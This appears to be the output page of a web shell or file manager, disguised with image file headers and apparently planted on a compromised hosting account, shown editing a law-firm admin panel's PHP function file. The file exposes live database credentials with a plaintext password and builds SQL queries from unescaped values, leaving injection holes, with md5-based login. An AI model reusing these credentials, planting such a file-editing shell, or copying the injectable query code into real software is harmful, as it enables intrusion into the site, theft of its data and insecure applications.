�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fu281747150%2F'>u281747150</a>/<a href='?path=%2Fhome%2Fu281747150%2Fdomains%2F'>domains</a>/<a href='?path=%2Fhome%2Fu281747150%2Fdomains%2Flexavapartners.com%2F'>lexavapartners.com</a>/<a href='?path=%2Fhome%2Fu281747150%2Fdomains%2Flexavapartners.com%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fu281747150%2Fdomains%2Flexavapartners.com%2Fpublic_html%2Fadmin%2F'>admin</a>/<a href='?path=%2Fhome%2Fu281747150%2Fdomains%2Flexavapartners.com%2Fpublic_html%2Fadmin%2Ffunction%2F'>function</a>/</p><hr><h3>✏️ Editing: function.php.backup.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
//error_reporting(0);
$siteTitle=&#039;Advocate Admin Panel&#039;;
session_start();
function getPDOObject() {
$dsn = &#039;mysql:host=localhost;dbname=lexavapa_advo;charset=utf8mb4&#039;;
$user = &#039;lexavapa_advo&#039;;
$pass = &#039;n;GeDJkioQTK&#039;;
$pdo = new PDO($dsn, $user, $pass);
$pdo-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo-&gt;setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo-&gt;setAttribute(PDO::ATTR_PERSISTENT, true);

   return $pdo;
}

function sqlfetch($query)
{
	$row=array();
	$pdo=getPDOObject();
	$sql=$pdo-&gt;query($query);
	
	$datas = $sql-&gt;fetchAll(PDO::FETCH_ASSOC);
	foreach($datas as $data)
	$row[]=$data;
	return $row;
}


/*
     * Returns rows from the database based on the conditions
     * @param string name of the table
     * @param array select, where, order_by, limit and return_type conditions
     */
function getRows($table,$conditions = array()){
	$pdo=getPDOObject();
	$sql = &#039;SELECT &#039;;
	$sql .= array_key_exists(&quot;select&quot;,$conditions)?$conditions[&#039;select&#039;]:&#039;*&#039;;
	$sql .= &#039; FROM &#039;.$table;
	if(array_key_exists(&quot;where&quot;,$conditions)){
		$sql .= &#039; WHERE &#039;;
		$i = 0;
		foreach($conditions[&#039;where&#039;] as $key =&gt; $value){
			$pre = ($i &gt; 0)?&#039; AND &#039;:&#039;&#039;;
			$sql .= $pre.$key.&quot; = &#039;&quot;.$value.&quot;&#039;&quot;;
			$i++;
		}
	}
	
	if(array_key_exists(&quot;order_by&quot;,$conditions)){
		$sql .= &#039; ORDER BY &#039;.$conditions[&#039;order_by&#039;]; 
	}
	
	if(array_key_exists(&quot;start&quot;,$conditions) &amp;&amp; array_key_exists(&quot;limit&quot;,$conditions)){
		$sql .= &#039; LIMIT &#039;.$conditions[&#039;start&#039;].&#039;,&#039;.$conditions[&#039;limit&#039;]; 
	}elseif(!array_key_exists(&quot;start&quot;,$conditions) &amp;&amp; array_key_exists(&quot;limit&quot;,$conditions)){
		$sql .= &#039; LIMIT &#039;.$conditions[&#039;limit&#039;]; 
	}
	
	$query = $pdo-&gt;prepare($sql);
	$query-&gt;execute();
	
	if(array_key_exists(&quot;return_type&quot;,$conditions) &amp;&amp; $conditions[&#039;return_type&#039;] != &#039;all&#039;){
		switch($conditions[&#039;return_type&#039;]){
			case &#039;count&#039;:
				$data = $query-&gt;rowCount();
				break;
			case &#039;single&#039;:
				$data = $query-&gt;fetch(PDO::FETCH_ASSOC);
				break;
			default:
				$data = &#039;&#039;;
		}
	}else{
		if($query-&gt;rowCount() &gt; 0){
			$data = $query-&gt;fetchAll(PDO::FETCH_ASSOC);
		}
	}
	return !empty($data)?$data:false;
}

/*
 * Insert data into the database
 * @param string name of the table
 * @param array the data for inserting into the table
 */
function insert($table,$data){
	$pdo=getPDOObject();
	
	// $fld_str=&#039;&#039;;$val_str=&#039;&#039;;
	// if($table_name &amp;&amp; is_array($data_array))
		// {
	  $sql=&quot;SHOW COLUMNS FROM `&quot;.$table.&quot;`&quot;;
		$columns_query= sqlfetch($sql);
		
				foreach($columns_query as $coloumn_data)  
			  $column_name[]=$coloumn_data[&#039;Field&#039;];
				// print_r($column_name);  
	
	if(!empty($data) &amp;&amp; is_array($data)){
		$columns = &#039;&#039;;
		$values  = &#039;&#039;;
		$i = 0;
		if(!array_key_exists(&#039;created&#039;,$data)){
			$data[&#039;created&#039;] = date(&quot;Y-m-d H:i:s&quot;);
		}
		if(!array_key_exists(&#039;modified&#039;,$data)){
			$data[&#039;modified&#039;] = date(&quot;Y-m-d H:i:s&quot;);
		}

		$actual_data=array();
		
		foreach($data as $key=&gt;$val)
			{
			 if(in_array($key,$column_name))
				{
					// echo $key;
					$actual_data[$key]=$val;
				}
			}
		// print_r($actual_data);
		$columnString = implode(&#039;,&#039;, array_keys($actual_data));
		$valueString = &quot;:&quot;.implode(&#039;,:&#039;, array_keys($actual_data));
		$sql = &quot;INSERT INTO &quot;.$table.&quot; (&quot;.$columnString.&quot;) VALUES (&quot;.$valueString.&quot;)&quot;;
		$query = $pdo-&gt;prepare($sql);
		foreach($actual_data as $key=&gt;$val){
			$val = htmlspecialchars(strip_tags($val));
			$query-&gt;bindValue(&quot;:&quot;.$key, $val);
		}
		$insert = $query-&gt;execute();
		if($insert){
			$data[&#039;id&#039;] = $pdo-&gt;lastInsertId();
			return $data;
		}else{
			return false;
		}
	}else{
		return false;
	}
}

/*
 * Update data into the database
 * @param string name of the table
 * @param array the data for updating into the table
 * @param array where condition on updating data
 */
function update($table,$data,$conditions){
	
	$sql=&quot;SHOW COLUMNS FROM `&quot;.$table.&quot;`&quot;;
		$columns_query= sqlfetch($sql);
		
				foreach($columns_query as $coloumn_data)  
			  $column_name[]=$coloumn_data[&#039;Field&#039;];
	$actual_data=array();
		
		foreach($data as $key=&gt;$val)
			{
			 if((in_array($key,$column_name)) )
				{
					// echo $key;
					$actual_data[$key]=addslashes($val);
				}
			}
	$pdo=getPDOObject();
	
	
	if(!empty($actual_data) &amp;&amp; is_array($actual_data)){
		$colvalSet = &#039;&#039;;
		$whereSql = &#039;&#039;;
		$i = 0;
		// if(!array_key_exists(&#039;modified&#039;,$data)){
			// $actual_data[&#039;modified&#039;] = date(&quot;Y-m-d H:i:s&quot;);
		// }
		foreach($actual_data as $key=&gt;$val){
			$pre = ($i &gt; 0)?&#039;, &#039;:&#039;&#039;;
			$val = ($val);
			$colvalSet .= $pre.$key.&quot;=&#039;&quot;.$val.&quot;&#039;&quot;;
			$i++;
		}
		if(!empty($conditions)&amp;&amp; is_array($conditions)){
			$whereSql .= &#039; WHERE &#039;;
			$i = 0;
			foreach($conditions as $key =&gt; $value){
				$pre = ($i &gt; 0)?&#039; AND &#039;:&#039;&#039;;
				$whereSql .= $pre.$key.&quot; = &#039;&quot;.$value.&quot;&#039;&quot;;
				$i++;
			}
		}
		$sql = &quot;UPDATE &quot;.$table.&quot; SET &quot;.$colvalSet.$whereSql;
		$query = $pdo-&gt;prepare($sql);
		$update = $query-&gt;execute();
		return $update?$query-&gt;rowCount():false;
	}else{
		return false;
	}
}

/*
 * Delete data from the database
 * @param string name of the table
 * @param array where condition on deleting data
 */
function del($table,$conditions){
	$pdo=getPDOObject();
	$whereSql = &#039;&#039;;
	if(!empty($conditions)&amp;&amp; is_array($conditions)){
		$whereSql .= &#039; WHERE &#039;;
		$i = 0;
		foreach($conditions as $key =&gt; $value){
			$pre = ($i &gt; 0)?&#039; AND &#039;:&#039;&#039;;
			$whereSql .= $pre.$key.&quot; = &#039;&quot;.$value.&quot;&#039;&quot;;
			$i++;
		}
	}
	$sql = &quot;DELETE FROM &quot;.$table.$whereSql;
	$delete = $pdo-&gt;exec($sql);
	return $delete?$delete:false;
}


function get_active_status_text($num)
{
	$status=&#039;&#039;;
	if($num==0)
		$status=&#039;&lt;span class=&quot;label label-default&quot;&gt;Deactive&lt;/span&gt;&#039;;
	if($num==1)
		$status=&#039;&lt;span class=&quot;label label-success&quot;&gt;Active&lt;/span&gt;&#039;;
	return $status;
}

function get_active_status_text1($num)
{
	$status=&#039;&#039;;
	if($num==0)
		$status=&#039;&lt;span class=&quot;label label-default&quot;&gt;Junior&lt;/span&gt;&#039;;
	if($num==1)
		$status=&#039;&lt;span class=&quot;label label-success&quot;&gt;Senior&lt;/span&gt;&#039;;
	return $status;
}

function check_session()
{
	if(!isset($_SESSION[&#039;admin_id&#039;]))
	{
		header(&#039;location:alogin.php&#039;);
                exit();
	}
}

function check_login()
{
	if(isset($_SESSION[&#039;admin_id&#039;]))
	{
		header(&#039;location:./index.php&#039;);
	}
}

function login_me()
{	

	$pdo=getPDOObject();
	if(($_POST[&#039;email&#039;]==&#039;&#039;) || ($_POST[&#039;pass&#039;]==&#039;&#039;))
		$message=&#039;
	&lt;div class=&quot;alert alert-danger&quot;&gt;
		Please enter Username and Password
	&lt;/div&gt;&#039;;
	else
	{
		


		$user=md5($_POST[&#039;email&#039;]);
		$pass=md5($_POST[&#039;pass&#039;]);
		
		
			
		
$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM admin where md5(username)=? and md5(password)=? order by id limit 1&quot;);
$stmt-&gt;execute(array($user,$pass));
$num=$stmt-&gt;rowCount();
	
		if($num&gt;0)
		{
			$row = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);
			
			foreach($row as $admin)
			{
			
			session_start();
			$_SESSION[&#039;admin_id&#039;]=$admin[&#039;id&#039;];
			$message=&#039;&lt;div class=&quot;alert alert-success&quot;&gt;Login Successful ,Please Refresh page if not redirected.&lt;/div&gt;&#039;;
			header(&#039;location:./index.php&#039;);
			}
			
		}
		else
		{
			$message=&#039;
			&lt;div class=&quot;alert alert-danger&quot;&gt;
			Invalid Credentials, Please check Your Username and Password
			&lt;/div&gt;&#039;;
			
		}
	}
	return $message;
}

function get_total_student_count()
{
	$pdo=getPDOObject();
	$sql=$pdo-&gt;query(&quot;SELECT * from student&quot;);
	$num=$sql-&gt;rowCount();
	return $num;
}
function get_total_student_active_count()
{
	$pdo=getPDOObject();
	$sql=$pdo-&gt;query(&quot;SELECT * from student where actstat=&#039;1&#039;&quot;);
	$num=$sql-&gt;rowCount();
	return $num;
}
function get_total_public_count()
{
	$pdo=getPDOObject();
	$sql=$pdo-&gt;query(&quot;SELECT * from public_register&quot;);
	$num=$sql-&gt;rowCount();
	return $num;
}
function get_total_public_active_count()
{
	$pdo=getPDOObject();
	$sql=$pdo-&gt;query(&quot;SELECT * from public_register where actstat=&#039;1&#039;&quot;);
	$num=$sql-&gt;rowCount();
	return $num;
}

function get_new_member_count()
{
	$pdo=getPDOObject();
	$sql=$pdo-&gt;query(&quot;SELECT * from seller where actstat=&#039;0&#039;&quot;);
	$num=$sql-&gt;rowCount();
	return $num;
}


function get_test_name($id)
{
	
	$name=&#039;&#039;;
	
		$query=&quot;SELECT * from test where id=&#039;$id&#039;&quot;;
	$sql=sqlfetch($query);
	foreach($sql as $data)
	$name=$data[&#039;name&#039;];
	return $name;
}

function get_admin_id()
{
	$mid=$_SESSION[&#039;admin_id&#039;];
	return $mid;
}

function get_category_name($id)
{
	$name=&#039;&#039;;
	$sql=sqlfetch(&quot;SELECT * FROM tbl_category where fld_id=&#039;$id&#039;&quot;);
	if(count($sql))
		foreach($sql as $category)
	$name=$category[&#039;fld_category_name&#039;];
	return $name;
}
function get_product_name($id)
{
	$name=&#039;&#039;;
	$sql=sqlfetch(&quot;SELECT * FROM tbl_product where fld_id=&#039;$id&#039;&quot;);
	if(count($sql))
		foreach($sql as $product)
	$name=$product[&#039;name&#039;];
	return $name;
}

function get_category_count()
{
	$count=0;
	$data=sqlfetch(&quot;SELECT fld_id from tbl_category&quot;);
	$count=count($data);
	return $count;
}

function get_product_count()
{
	$count=0;
	$data=sqlfetch(&quot;SELECT id from tbl_products&quot;);
	$count=count($data);
	return $count;
}

function slashReplace($data)
{
	$result=preg_replace(&#039;/\\\\/&#039;, &#039;&#039;, $data);	
	return $result;
}

function isFileValid($filename)
{
	$ext = substr($filename, strrpos($filename, &#039;.&#039;) + 1);
	$file=strtolower($ext);
	if($file==&#039;jpg&#039; || $file==&#039;gif&#039; || $file==&#039;jpeg&#039; || $file==&#039;png&#039; || $file==&#039;pdf&#039;)
	{
			return $file;
	}
	else
	{
		exit();
	}
}

// function get_category_nameby_subcatid($id)
// {
	
	
	// $sql=mysql_query(&quot;SELECT * FROM subcat where id=&#039;$id&#039;&quot;);
	// $data=mysql_fetch_array($sql);
	// echo $catid=$data[&#039;cat_id&#039;];
	
	// $name=$catid;
	// return $name;
// }


?&gt;</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fhome%2Fu281747150%2Fdomains%2Flexavapartners.com%2Fpublic_html%2Fadmin%2Ffunction'>🔙 Back</a></p>